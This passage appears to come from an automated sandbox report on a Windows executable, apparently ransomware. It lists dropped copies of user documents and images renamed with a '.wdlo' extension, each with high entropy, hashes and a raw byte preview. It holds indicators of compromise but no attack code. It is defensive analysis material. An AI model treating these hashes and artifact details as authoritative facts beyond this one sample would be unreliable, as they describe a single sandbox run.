Preview:	BJZFP...L..<...Y...V....6..X....D...53.6......l......>.#....qT..C....Gk..A...XI....0.~3F..+..lRl+}..<3..<.E..H...=."r........Ts%.....3B.)..XUN..w..6....m..af..U.9.C.(...T.D.../..Jq.1...?r...j.]..7.+.......'.}.'.../.S...U........@.BLp_..C.@..S.u...c.,....l.w....vH&F.Iq.,xM.;..B........I.....m.c H...Q<Q+...e.J.C._...zz..`..gzC.&2.......0...}q...m1...,J;....W...i..5..<..B....N#........p[.<.>....@..3....Xf..y.$......54_.r...)..Q&..-@Wg.T.Q...v..{.D$'o...Q... .....h}S/_PPF2...sm..DC...k.k....mr...`........8..4......K6.qj..._&?.....$.!..<...........!.#. 6..Y..-P...._.... ....fg.C.....G..!...o.4....xH.V>...3.=.......J..'..+....".{knd.E.w.........1.O...,M2.-.....k..o..MFZ.J..rh...%}.'X...=.6....e..F._...t.@.g.W...3.. ......t.(~...q....p9.t...+..vd.O....0.5.._.J...7+.B.Ui. .M.m..../....NA.`.)lc.}..i..O..........q\|..B.2.h.'\|......'..t.L....Y..%.m..i\|....%X....j...>g....5.F.....+.CA"1E+....$.X.s.,.F..2H.......Xn..{..?.....z....'.R..HI..'..

C:\Users\user\Application Data\Microsoft\Windows\Recent\BQJUWOYRTO.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857671210089292
Encrypted:	false
SSDEEP:	24:N96YTiI0GXNYMjMg7uQPATTWNJn2rb3HrqXNIVrFt2Jywk3BArXe93zbD:VTiGXiUMyBuW/Mb3HrUK8JyKy93nD
MD5:	94D478A127C62E54483DA2E62D81AAD3
SHA1:	069A4FE7E731F435CD618222B7F118656F96C594
SHA-256:	26AB8692DD9C12CA962BE463D0AFC1BDD3D3E94DE755ABEF77D8952CF76D1FF4
SHA-512:	0048F4EE52CD8B47F4FFFC8AAF7B35FC71A31C321D152441ECAD399009A8E1CB2033E39BE5A997EB03C47B2EA953521396C53F3D8701D1C7B92985799629FAEE
Malicious:	false
Preview:	BQJUW.M...Q..{.....!..."...dz.....R..x.\|.S.!_..S..2^...@`..6.>L.....&:......k..D.....D....Per.4..y ...>.Zc......L.P...#.+.U.,.........=.D......G.B$.aO.6N....$x....u.a.%w......pb....../.t..-b.i..aZ..&c.....%.....]...........Y.N.W.(.")SUwW.C5.E.\|..L..~'...C3....i..?...;=o..;I.p....V..2..Q........_.&ch/.....w.......I.....e...#E.B!o%Uz.?,..p...;.Z....5..Yf.e.EH4.....l._R=....r.i9.7{: 95(..\|.q.l.y.8...9..P.l..}.n..R...>/....\.{.7?rm.....B..Kn1.!l...... P..!.l.\|.C.....=L...._.t........Y......V.....2...[.[u..t.:...{.Q...]<.8K..")..m..1q.....r1..Z...-h7..L..wt.BlUO...M..W.V9...]....8..N...{c.....1.wZ.y...vT.-..%.'./...j..........qe.............X..W.^..JM~C..'....6./).l0-.....=..O....."...3..7?.=.`\|..i.:.....pa.6;Ay.[.....g.n.......sX........$S+..Nz..l.......E..m.f.4e..zqj...sp.5....Z...~.,.v..g.>.5.Rtzu..+.#...l...^..x.O...l6.r.G..U.".8.QUm.....%...H.i.D.....I..y"....k.6.C.....iBn..u..X..K.3.c.a[Q.....\.f.*."......;..>.P.z,..@..f~....m....`

C:\Users\user\Application Data\Microsoft\Windows\Recent\BQJUWOYRTO.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860114906815371
Encrypted:	false
SSDEEP:	24:qC3/iLK6lRRI7GHyR/LBwQfSoq+dW+t/Wpbgilo05nfIzY6kPb72nxpXJLR3zbD:154RVS1BwQKoq+WC+NXlnpAs6ayjXlRT
MD5:	4B672BCE92C4EF8800D0A2E899D2B9DA
SHA1:	594182ED3D1D7043D370DBA438742B6C4D89F4E6
SHA-256:	DBB24AA82FE6B4BFCFA6794DDAF2F5F945F9DE63AC65741ED090C0C6038984D3
SHA-512:	5A78D995D53C1F0D6E5E6DE8F934149802E721D8062E9DDADA29AF567A9D83564560D18AF76F666C083475412757CB08AAB8EE7E8EB3546A0778A608FECDC8E3
Malicious:	false
Preview:	BQJUW...>!s..YV..~b..).$g..bk.$=..&:.......4.....s.....t..v.2..6.c.+T...e.i.<..F.K.H.k....I^#DL.....}.M....+..U........Y...px..1.9........Q....\|o...k....u..4."k.H{f.........HK,...7...}Q&k.;....2}o4.6(.Mf,...Z4.5..X6....Eyz...w.....di...S..4vC..2.V..7.`.&........py.mlP.H.G.V6.\|.7]../..Y...N?...&.E.H..b...N2 H!.[..W....-.......b....\\|....L..%...J..S......Q.-V....yi.`^.m......j.Z1i.\....f:4.(....C.~k.7rWF{.R....,o.Yg../....7O..z.2../..GF6..g..X.U...F...xn...K..yf...Z...N.z..O.H..#M.#.d\.....u.tO?.E......=2.X7BF.o..7.`P%)I=.Rd.En&b.]..6...1o...p...y.-.>?....."...fm.g.Ga...C.y.$?..r.K...!#...O4.yA.#..-.z......]....=..Ol....j......].e.8ip.\...=0.U*{45?j..I.....oaY...../...`.j[..A..h.....j;....>..e.2..........{..4=....... ?.)...v...$.\...d..F...n......../F.v.-v,....Wm..MK.........\...3..-....4q..........[W7A...m...MWL#C.:......q.....tl.TS..P.. ..9.-%)...P..$...2..oAe.....X.82...M........^...R. H<.Q.'GL..y.>.Y.W...m...h..[......f.J%H(Z{.

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWETZDQDIB.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847893796809044
Encrypted:	false
SSDEEP:	24:vg/SpwiWAcAhMPU80UJT1BWOzZraE5jA/dSDYLLoGT8RKy43mCSe33zbD:XpFaFF3hWONfodSELLofRKwDe33nD
MD5:	28A2AC9A4477341F2CA23B65D2C8E1C9
SHA1:	B85AB2A3CA92214F46A2BB2A58CA35727024F6FE
SHA-256:	05A7CC125780D60F2D3C2EACA324C70067C9CB1BFCE195CC69AD186D8FDA2AD5
SHA-512:	39A57CD0242BE912D370BF82627184DB25F546F52FE96E97DE3C2AA5DF1982ABC9F2BD7743B863A3F9B747163A6AAEF884B2B17C99E8AA96335B5DEEC7B9B138
Malicious:	false
Preview:	BWETZ.>..Sb.4.z`...-....F1l..>I.N..=..P.Z)..+C.OW....l..<I.!#!.zE.c.O.].e6.{i.]0{T.8r7.-.i,.7(.j._....w..[.w.ni.....R.M...).x..gQU...,.R...&.....MP.Ker}.#.b9...wd.}lQ...=U.n.(.d..GX.... w50B?...6.-......'...%.I.9....;....C.;P...2r.u..u...N..m..A....Gi.]H2..p..9.5.s....c.<...6m.b>1.W.T].Wr....\.....vv............3...=.T+U....{......m.....F...Kp......l..:.>\....\O......w......E.89w$.........E..[...,hu....}...}...]...-.........'.{x.@:....2N..+...X...D.2.My[.g..!.w.+.U..(#.._...q.x,...o..k......U...........^..<...f..C..}yn(..}x..u....}.ju..!....9....S...]....>=x.r.....=..C.jP%..X.}_.....u..N).nh.P.....P..I.D..c..PV....d..f..`..N.z5...;..e%....O&2n...8R..[...sI.....\|B.......k.A......{&...aX...+KW`..=2........m.n....d.%^.&..S.).ix.../1.>n.....84.?J.3.....2....../bA@...*A.....}....fc..@wV.&......\|3........o.&..7.L17....JE.KV......@.#^QAK....E%-w. ...8.g...h..;(..8.........l.....R.V.[... ....H"..R..Z:..t..[.xN...1-.e_..^..i\.6M.x....

C:\Users\user\Application Data\Microsoft\Windows\Recent\DUUDTUBZFW.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86749618089164
Encrypted:	false
SSDEEP:	24:f3ocowpdg0EG3SzNIDYKOUijb9NU/FjThgnN0Sq3NSmgTkW2U7SZ5ICODpy3zbD:fTo8dgaF0KMNNUNNEQuSdOE3nD
MD5:	D0494D1AD9BBCE4E9DB8695D83E4329C
SHA1:	EEEFAE2C67775F893D27877CDAE2F575D0521F42
SHA-256:	1EE2128BE64FCF2A072530378AB6FD8C5154CC3F131F4399316960F46F865732
SHA-512:	CD9DAC4C8C177327955E5F3C3888C9905113E58C8E3EC546E97A26E5F257168804A3D2F535C5CA28C851FFF91CF2C695B454C630E61C1AC1DAF039E9082D40C6
Malicious:	false
Preview:	DUUDT..f...HE.S..`......?..........G.mH.....+.t4.zxD8._...%.F.v.."..X.]\y.y...Y.^.K.w.:<..T...+y.PO..%.@Sv..I".a.....u...!7.....3{.B.OeGhSJ!^.N.O].]H..Dw..^A.G6....cA....U.0..S,........z...:.f.vt..d....".h.@T.[...n.......F...h..?.......w..NYS...M0.F...T'...,l..)..e..@<..W.l............2Z..j0v.n...6#.....Q... Q0...PxO..Z.s-GcQYM}.U.V..O.....~We......u....W...zLn.....{...D...&..f..-{{7.N.:..R.y....t&.CB;.d.T...v.F............&......+rs.;<o.Z..0.....l(..E.e7...wQ.wf..,.]...rJ.]..7 . `.!%Go....~.j8...`....S....... {"..........JF.."...:Q...l......._....8...].9..kNc.T.z....+..o...=..eD..9\.^..i..[jV.\..-.'...l~q....g{.%.z}%..G...H..,......dM..u."..{e....u4.._.Pv..D&....L/.>..+.}....m.%.s<..P......:Ox.....,....w..3....[t..` X.@.....i...\|...F.5t.1K.lE .6...DJ..........J.....F<..9.../.LB..Ws.y...M.r(.~..-...*m9..R@.[....ma.....%...%:..2j...z..\|.m8..[....@,......1c(D... ~nc.a..{....k.A.........W....%.q....r...`..J:....t9..E"\.u.0

C:\Users\user\Application Data\Microsoft\Windows\Recent\DUUDTUBZFW.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841327793182583
Encrypted:	false
SSDEEP:	24:ss38kLl6EjS1u8uPy+GhUSl6iuki9h28LAFAtqwqJ6YTETvzl034S/xZcIGT8j3D:sav7Ku8WGPeT9AFUq/6YALCISrctTa3D
MD5:	A791AABA51339AC4F9ADC7B523F22C2A
SHA1:	EB0735B339358A83F189762DD9AA7933EDC5437E
SHA-256:	C0A1374021B3C8E8DFEEDD1BB97B2315A47AB87028325367D625100DF207B266
SHA-512:	05A8AC20BFD72320DDE1A33AA049241A7BCE6FE0C6568F58BDF951F516A12DDDC53E910CE7DAA6CF1B81025662BFE70D4BDA55D9299430DBA7D146E9E2204A2B
Malicious:	false
Preview:	DUUDT.9.".l...9u.h5.2..../.h.q...}.R.z.PK.f.`bp6B..a...0..y.x.{.@..Q.O).fm_....!.Vr....%=g...@.sn`..)F.i@..\N.l....T...........<....'..5...X1+J..P.P....t.0..=.ev..Z..C/i>.`o2.....H.I.whV.$..n..Q ...p{.......C..../..A...u%....37{.1..b.q..).7..cY....(....w...J$M.9. +.g.l..M......{VBc.......~.. a...f...W.#....V..`..+..p.."{..gQ..m.M........C>....c.W...l6Gc$f...0..TjT.x..M.e..)....D....6.\|.......`5.../.p#...ke.QV;.6]....i...}[<}......J.U.?[h....)DCbI .Y._.V.f..d+..0?..Kt+.5k.e..2J..^...f<~..!xv..2...[.$.7=.%..,^......p..iW.%.tm.NU..w{..l.JF...@...(\|...}.H2...J.w.a..\|G.I.E4.....7"...5tA....- .A.._...H....bxp....D...A.t5....E........)...f.0..1..>ck:.d'_......dhv.Gc.h\|hf]...X..-.(..p.Q..8.VF.o.g.B.*..z....;.9$..%..u...<.{..@2t=$C.<..Uw..-....0..4...(~."4..L.>>.....b..).H.M.#.'=.).1.vkis...zg..pX.9....7Q..{.b.....6....u.n...e....X>...6P6u..4....>..UW%B:...".....0%.\|....H+..........M.\|.X3... ..I..@0`\|.h.\...@.m...G..4..;{..8T....FSBn}\|..K.......b.\|...l

C:\Users\user\Application Data\Microsoft\Windows\Recent\EEGWXUHVUG.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867019181694753
Encrypted:	false
SSDEEP:	24:1TVYXlJgt6YG+WkecScfRpE4aJl8t/CbTIDpq62Z0/4TcPOqFnoG7G3zbD:1TVYVJgt6YG+WX57HIDpqpGweTFnoQGT
MD5:	9E4D82D1A43EB03D288582E657597ED7
SHA1:	4631D58009F0C326241CE327D8B7A1AAF78D66E7
SHA-256:	91F0538F97A8D28AFA0BD6DCD6FA8734555D1085521AA0BA3106FD56B38D1372
SHA-512:	07CB78419E2EDCF4AC64E9682DFCD438C18897584C0C481F45FE42F0349CD9094449A6442A5BCA0CBAE1EA2929C4AFE290A4E86350B6E69E161591333F51E4FF
Malicious:	false
Preview:	EEGWX....nk(=A....K...=h.r...%.C[.g.1...B......,..Q.uF. .x.y.......&.\....b.s.h:...N.?...w.....`U.4.8_.p..n-D..a.A.&?..d.^.U"6.>...g.JJ.Q.>.?.^.........K...c.WK.M96......L.P.]s>.~..U..<R...}.7_oq M.....C..F-..l.Q..y2.r......)+......x,..../8.?s..I.p..fw;... .z.W.W=.$.x...U..2.....c...40..]...[w0fig....T.S,....B9......<t.+....g..F!.8.5.^.U.<Y8.z...........!..C..Ge.'.k..<.....(......E.e4'.H....).e....5..,...K....\|Q.)..[.\..$....j."..Zn.. zp....N.=GB..l...m...g%.m.h.......T...1!..F\|..p.O3:.... =.;?Ni.O.C.;..}...xj..?......^..h.F.[..O......x.92...LR.x.5B]..C7Kw.a.i.F.#.-)...,.X...p.@..././:..Up...:.....r..j.K.1..>...3.3.D.T\:.(....\|H.j1..Qa....I.@ 8o....+.7.JF.kNZ~/>.W]K.k^...cph.H..3.f...d..p........hV.y.......Y...L#....../.F\.=...b3..D...ZL(.d.. .S......Q.....7Yz.....g:~.D..3.l-...m.6.R.k........ .&..o..U<...~.s.:..Xzm.g!...e.{G..t.7ah)...x[".@....-c.c...8...AExw....I.p..\|,...d....K[k0+NuLg6^.f.2Pyx...b...:..^3U..\|f...>.+....D.cS.\|=...(.C..iCL

C:\Users\user\Application Data\Microsoft\Windows\Recent\EFOYFBOLXA.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846521769500917
Encrypted:	false
SSDEEP:	24:NagaIHhztGzuM7hvC0k+4Nz/oLcQ4uAeSYlgNqTgSHmG93zbD:NFtBztG7tvCf/sH3AolgNqMSHb3nD
MD5:	5598A098FB0437D35A8ADB73BCDD96AE
SHA1:	64BADCA644267990759ED746FED975803E7FB3E8
SHA-256:	C1CB1C0A247C4FAE59E75DA815A47BC18E7CB40604789209C587002CE0D4C8B6
SHA-512:	692C736B59AE4F0E5D0839F9523D0D13BC80AC1981FA9792B0EDD60C95DB86518B1436F183B9B793B97DAF0A172A9057DCF9AC3123FCEFFAB0341ACD4FA3B7A7
Malicious:	false
Preview:	EFOYFT...v.i.T=...@<jMQ1\|...D.......<...z/....)'T.,(d.0UvV....E.p..v....0;y@.{t..P.?"N.$.c..nG.l#.2.zso.....O..w."L.p.Vn..1.......].T.\...y....mW........d.......VN..z.w.0~... ...]..M..n..M..............V...x ...P.xg....p...A4[.c..q_....)/.u.."I>,......%.v}.e.Z../Je..C.Q..iz..!8...v7..5..R+..,L..y...u...B...:^...~.]>T......o.1..1=.9O...ij.NPl.......R..P.s..4t....L.d.2..O...c;..H..m1u...M7..p.v.Z...'Q...6.5j.9.c.a...NGY.......^...M..kZ!..4.3.9..J..^.7..\|.O~.AS...W..Hm...?...$.&.d..p.\|..l-.nY.....H.D2..E..j.#.d...m......w)..#g3.&........-;...pM..m.P3T......33.a.....z...}.8...X+.6.@.6{f.j.....E...?..Y+_.N[..(0<.p;..h[.:...a....Z.U/t...]>.<..g.F2._......7..f..C.....ES?.....#TBDq.&.IE`>kI.........C...x32.a=.yR..P..m.R..^..i..1.F=2L.s...e,..6..,c.eXH...?I...{.[4....hs.-L...U...[....FNWVt...27@.v!q%..V.h..\|X.z.VD.H..Y4hL+K...5..J6(ui;a..]..5j..$.."8.O%.r^....i...p..h.b{.G..uc[......zFf......H.....E....{...#..]F..}K...8...&.(J.i3W(g.;8.Z....8.r.

C:\Users\user\Application Data\Microsoft\Windows\Recent\EFOYFBOLXA.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.808035664670297
Encrypted:	false
SSDEEP:	24:RdJNWP7ph42+XosPUn3rJW1sNAhyK7iyH/8c1Bj7NrMLIrNj1WT3zbD:RV00JYNnwmNAkW3/NMkrNk3nD
MD5:	1E5CF2AE65DD2A3023461A26B9827B9B
SHA1:	924FDB2ACE8B7CD3A1F34EEE50F19DA9C0113AA7
SHA-256:	F1EDCDD73A1DE339F803CF695C6E6F741377332B5FB3975B5D96FB8A09855EB7
SHA-512:	36A92E475E28661B8AB2D51B99C67618121DC09477AA029F871FCF1034999268D615991FF135615CA228A1A43BF34A83712B9DCD6453F12935EDEE52874150F5
Malicious:	false
Preview:	EFOYF.K..A...V...I.y....S.7F......c.\|aE.......m...J.G..mk..,'\ .....x.{gmX.yK......7!C..Nm.\6.a'r.zs.5...Kuq_.....:....J}..P.@...~.k..qV..)].MPs.v./l4...(.=....^...:..[.x.......IG....4...(.k.cr....u....67v..'`.@.M.Q..E(5]..P...PS.w.3.N.^.'&c9H.(.N_p.LRk.+.4......:4.E<C....r.#G_2n...u.Y#..=.q...q.....\|.fO++k.H.........[.........5-...q].a._.WLD........].o.#plp.......3v+..x..Jx.FEd....y=..I..w.'..j..l.(...B.U....J.yar....R.......M.v.=...,Xa#.`@....w.a#./..Gh......u..v...2O..6.:.SL.y.6B..M~.W.+.Ax......0... ..Z.vL...Y... S.u....]..I6...\...;.z"...S(S.j_yv6.`..=.:....A...T%a.ra..vD^....cc......5(K...A&.p........+....d..#`.....`..bI.U.5...$..\|.....+.......f.O.tw.../...[G...>.H..By..}}c..0.me.c.a...' ....-.L...?a..o.X..q...-..=.w$......r...j...oeFLc..CP..Z.7..A..K'..a.&=K.r=.j.....K.jb.$f.\'r.C..d..A.,T.x.y1.....+..v$.\..X..&UG..dPg..W.:.0.J.!.\|.VB..v,... I.......(..`.H..R..#)u...Ja<.-x.....#..E.$.0..z..(%.v@'..m.+...+A....;...G...\|.%Fg..Vi.4.l..

C:\Users\user\Application Data\Microsoft\Windows\Recent\EIVQSAOTAQ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848273464358074
Encrypted:	false
SSDEEP:	24:Rh2HHqEl7oZ+cDKjZkH0TOvhzHNB1WVl37xb59T/3G4fF53zbD:qHLl7K+cDUeUTOrzQVeyF53nD
MD5:	1BDAA1A8FE24BEE42F82C6BE4CCDAD6C
SHA1:	2F571A877842197D821F29F223263C525170401E
SHA-256:	98E879E595C7AC5155EC858F08F8BDBD1BF59B86B962CEA7FBDE0187388960A7
SHA-512:	93F652634859BF33136E2CCB273CDBFF047EEF95AC55B6AD5AE803026D93797625279F8A4EDBBED86E69861C2660D239D19A8DB870011946CB85F8958D145B16
Malicious:	false
Preview:	EIVQS.Qs0.=..c...Y...."h..F....../..C..0.=.<..vHS..PX.x....e.%....3...'c..JE....Pk...n..(..Z..,,....t.......tv....G\|.".B6..#G"...AJ....._.~.w.&..u\|y.pv.{.9..kDU .[C..XBB8.S-dj.Z....-.4..Ke..@.<K\.p/:.lY.5..l..I.H.KX..b....gn.xLqA..s.W,..T...OWf.?r.Q.b.P;b....w..Q:.L.0!.....nM.W,...;y...d...._r..5:`......W.r./T7^..Y9...L..pm(.I...........^..U_0.<............T.).....t.hK0.U8?PA.J...y.....{fa..8.8t7..v..........+]...D.5... ...U.....B.t....E.MD.S.s.>.`....R-.?!./.......h.5g..\.eo.X.6.{g..3o.a....\R.Z.e.m'.......AI.#L.....tUjA.8......u.P.=..;.y.....,...Z..D.o...._..B.a.r.:^5Y..I....4..Q7..3.}h/.^N.x.{..(7...!!:....@...e.(.t}Q.{.#;.e..F...M....#XW..4.x#o;....aQg..N.Z.(w.oF.M..!...QG...2.......%"7`...S).......oH.X.0..#.2..Eh.9...h..a^....f..0f..o.\|...r.qm...4._...j5Z...."..x[0..}'dw.v.E.1.0.^.-A...Qn_.S3p..k..x..Tk......7. x..g...#........e............`..+..7.YZE...oNgg].&{_z.........%O.r........V.X...........>Rd1......3.........

C:\Users\user\Application Data\Microsoft\Windows\Recent\EWZCVGNOWT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861855481557792
Encrypted:	false
SSDEEP:	24:pNVGWGfJ25RF+xB3IzsF0S/54pEwfEDrHUo1AUMIKPWWqT2CtDpfgbkohr9Y3zbD:pvGWRv+5FlwBfE3gUMwEODRLox9Y3nD
MD5:	7286CA16075090D91EDADAD95C364D02
SHA1:	D3AC6FE85BDEAFD8849BC2ECEBE8A464DD4AE845
SHA-256:	29FA355FC2C939560FA191BB9A3F3BC202B307929B3304DD030BC95384A6B47A
SHA-512:	E1104DAA1CBD4906A7DB26EE9D7E99F71EB1096629645CCB7BC1E5E74853619E50A0BED7CF5C8D77D01EDA56C8C323565432F06E0BE6C8631186C11E88FA6268
Malicious:	false
Preview:	EWZCV7$Bd.7=.........'..@h..H....?.q.z.....6.U....#<]#.d.p..$m..X...wX3.7.&.....W..#.,....Z.W.....;...!..&......jz..`..g.O....Q.f...;~;....a..cw..+.i....-.(.i.\|Kd;........fC..k.?..n.....E&3o....)..-...8..2R.$.p..y:d.(!.%...B...G...L..Ko.;'.....z&..WY.n@Rw.~.=G..q......YgO.....DM:.%...'?=...h.h!:.8.@...G....h.Fuw.rR_......V.e}.D.0...u..h.....QA.h ..Z.I...M@$I...$.y..u..9{......y.f#.(.....Nn/K2h..4.@Q..n>.b.s..'XgwI..^..X......wpk{.%~u$......q...G$F..Y.C.(1..1....A.uJ..!.=..A..\|\|.P..g.7....\|.t..,W...I...~h.I.......b...(.;.-...$(.7 .%...Q.@r..k..o...\|..]e.Qs.)%.35..6.H3Q......-J7._...r5....T..ZM......{(...X<T..p..r[3V...OB.R..._....).f...5...)...V)r.8(.)...Z.2"s..(J^<..a.....+..d..@.j.\|.)..j..o..O;.'..6.......\^0^..:N.iI.].2..v..:..b.g..4........<,...Y.kH.Tx.#)"l...q.F..7..~G...H..ZKGa.Q.}.P_d(..C...,:..%...5.7....m..rf.E..`..+..NL..z@tmR..sj]Q..\...;M..g.y9.g.k-...n@..S.C..\|*._.p..<..P.].I.T.7}.-.`.3F;...t.,MX..w[.j...@b..eSk...

C:\Users\user\Application Data\Microsoft\Windows\Recent\FGAWOVZUJP.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865634622316584
Encrypted:	false
SSDEEP:	24:hqg/1Xe4cJRov2P6d4bxgguQwA+waj+EsQMC3mfUrORL7mkS3zbD:hq2EJ+WtgkEsQM9UDkS3nD
MD5:	D22CBCE99E818C077307C9430BBC2CF0
SHA1:	E84480814C0980D4812CD7920F3F28131B34B325
SHA-256:	120C4088A3265CBBF06AF425949E139844207A8DE4517BE620D7BC666E053889
SHA-512:	850ECE91ACBC4E4DA08A1F3856041039449ADCB9870B445721C7B367A20D8DFF4E3B63ADC2E831892561B219C0784F26B3DA0957FDAEE7C8480F806397E109CA
Malicious:	false
Preview:	FGAWO.L. ...U.......xX{..Rvz....@.... .7..P.......6/.PB.....'..........I.(cv?.e(..I0.....W'..]g\| ..!........]....=B.......x.v.#V..+.!.......0.\<FF..;6.^.{......\."f..Sn)...f.z2.........l.......s.xS..a........y...6....o.......B.....l....uJ...lmZH.&..!u.i.. .N.&=.0...!"L..Q^..j...4....:....`.y..../`.....~.P.......^S..._{...x...+).q.0.7C.H...4..85U...E...5..K..~wcC.L..!.I.....lqi5.g.H..7.z....._.....b.w.....~.2.....e.../a.Be.+V&O9.6..%..!.......=..n.b0)A..(....w.g".....X..%?sy..:3.]."..+9.$..d)R/...u...Wdk..R...'.9xKT...7.Y'Z.N.. ....I...I.Jrh....I.("r.:N.3...Dp.S...."...p...o....5/y.q....3..Z.J3l.....DX..C....[.fwg..\q......zQ.@T...n...........5..mPy...0.....p...H..>.._..H.9.......C.nX.w..t$]...^w.Fr{..........[...._.......sy,...8FcFy.......=c.....".9l..L...{.{.K?\|...HA2b...}.N.....8....L.Gz2g..v.9...x.[...]..u.H@..w.L.}.3......8~..z...RC...7;..2.xjN>...w.(.v6..v........s._..Sd\zv#<"...n.4.-.*...... i..%$.Yj.@..G..M?....X_..=.. L..i....!....)x5

C:\Users\user\Application Data\Microsoft\Windows\Recent\FGAWOVZUJP.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835267758547472
Encrypted:	false
SSDEEP:	24:eh6eqSbRD7Ul2aIyMsfnXStczYD6/rgNIa8vo2NIjm3zbD:eAzqd7zaIy/iGzYD5OIK3nD
MD5:	23FBD2AC64CD412C3E45B39DF72EA79B
SHA1:	D6C1AD13DF28F35C38F2FA7C7AED068BF487A4C5
SHA-256:	5B13D57CF422FC8BDA0AD02BB730BA0ECCAA98E1F2C70136B174F81AD857F1CD
SHA-512:	953A117FCC2BF36621467C4D8DFCD6948CDBEEDACD7C1341AACDCEF7D284056B8C1467D37F6A278C09AC0965E4C2F0EB2685C575413F301FE76CF6A21FA6314A
Malicious:	false
Preview:	FGAWOz.}.....&.WE%h.<..O.[g.!..K6.h........J..m..mE..[...y\|v.o..._...>.F.t.\|..j.b.x.I.py...7.l....p.:.-..!...hF...."_..fA..G.Na.+O...?1....K...{...h..n.{/x....b...].W[.......k. _..f.-'..c.{...{.W^.....d6z.c.\...2.ohm.V,....e0'W.....0....~.^.zt....p8.l...q....8}.Yp.}..=H^..jvVa..3.....6.`.....@H.6c\|2..a9.4.7....(.......S..RS...UL]...W....y...Us....n.au.R.Y.o.......Wt......_2ZI..[Oq.sD..y..]9......8.S.......9.y``....5.N...qH....9?.GSia.^m..D..p.^.n....\...`.,..aK@T8H....9.6.r.}^.....j..V.............=..j.1..`..!Y...dH:"...D8...8.D4..e....6q(..E.{.`.[..?.U..r:i..Q......;....%..x.=....=."....e......=b...x........z\|V@.d.}..!.Z.."....?..:.=.q>3Vc]...x.9......a..%W.2~<UH.....y\|u....>Wd....}Xvr0..7.\.....v-.B.............P.P...........t.\%[..~.Q....x.9.+.wa8>..b1UB.b...!U.$...tB.B....K......E..FS.hTH.T....&......Vj{.....!..3..t.r...D.EY..-d%..WtG..._.5.z.........]I..X.$..qDJN...'..s....#.d....g..X.v_..._...^@...3S..a(...M...:..&.a.}..

C:\Users\user\Application Data\Microsoft\Windows\Recent\GLTYDMDUST.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8569841568247325
Encrypted:	false
SSDEEP:	24:Bmw4VyXJz2qPOqsfsztu3j1ivXPzqE0swQViAlAm1u2xux3zbD:ecUWGfMQTa/8vQ0w1U3nD
MD5:	4238F48D884B9EC7B228FBFA457D0167
SHA1:	D83BC873E797E682F94AC2AC844B5412D049B5A7
SHA-256:	196D015099EB0BEB393C50E7A0F8DE631475AFD11AFC75DC36DA31E0DF77952E
SHA-512:	ED95E0CE790A6B5D06895FED89AA00AAB5EF4416C08FEE6064189E9BCB4B38AF530D66820810CF5847467653F8DA0C175A41B38DD76C7B6827A21426EB138071
Malicious:	false
